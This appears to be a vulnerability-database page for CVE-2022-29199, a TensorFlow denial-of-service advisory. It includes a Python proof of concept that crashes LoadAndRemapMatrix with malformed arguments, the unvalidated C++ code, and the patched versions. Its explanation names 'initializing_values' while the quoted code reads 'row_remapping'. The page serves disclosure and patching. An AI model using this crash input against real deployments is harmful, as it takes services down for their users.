CVE-2022-29199Medium· 5.5▾ SunlitMissing validation causes denial of service via `LoadAndRemapMatrix`
▾ Sunlit zone — Low / medium · no exploitation signal
impact 30.3 · likelihood 0.1 · exploitation 0
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Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.3%
0.3% → 0.3%
The implementation of tf.raw_ops.LoadAndRemapMatrix does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:
import tensorflow as tf
ckpt_path = tf.constant(
"/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)
old_tensor_name = tf.constant(
"/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)
row_remapping = tf.constant(0, shape=[], dtype=tf.int64)
col_remapping = tf.constant(3, shape=[3], dtype=tf.int64)
initializing_values = tf.constant([], shape=[0, 1], dtype=tf.float32)
tf.raw_ops.LoadAndRemapMatrix(
ckpt_path=ckpt_path,
old_tensor_name=old_tensor_name,
row_remapping=row_remapping,
col_remapping=col_remapping,
initializing_values=initializing_values,
num_rows=1,
num_cols=1)
The code assumes initializing_values is a vector but there is no validation for this before accessing its value:
OP_REQUIRES_OK(context, context->input("row_remapping", &row_remapping_t));
const auto row_remapping = row_remapping_t->vec<int64_t>();
We have patched the issue in GitHub commit 3150642acbbe254e3c3c5d2232143fa591855ac9.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
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This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
tensorflow < 2.6.4tensorflow >= 2.7.0, < 2.7.2tensorflow >= 2.8.0, < 2.8.1tensorflow-cpu < 2.6.4tensorflow-cpu >= 2.7.0, < 2.7.2tensorflow-cpu >= 2.8.0, < 2.8.1tensorflow-gpu < 2.6.4tensorflow-gpu >= 2.7.0, < 2.7.2tensorflow-gpu >= 2.8.0, < 2.8.1Upgrade to a patched release:
tensorflow 2.6.4tensorflow 2.7.2tensorflow 2.8.1tensorflow-cpu 2.6.4tensorflow-cpu 2.7.2tensorflow-cpu 2.8.1tensorflow-gpu 2.6.4tensorflow-gpu 2.7.2tensorflow-gpu 2.8.1Connected by shared product, vendor, weakness, or advisory.
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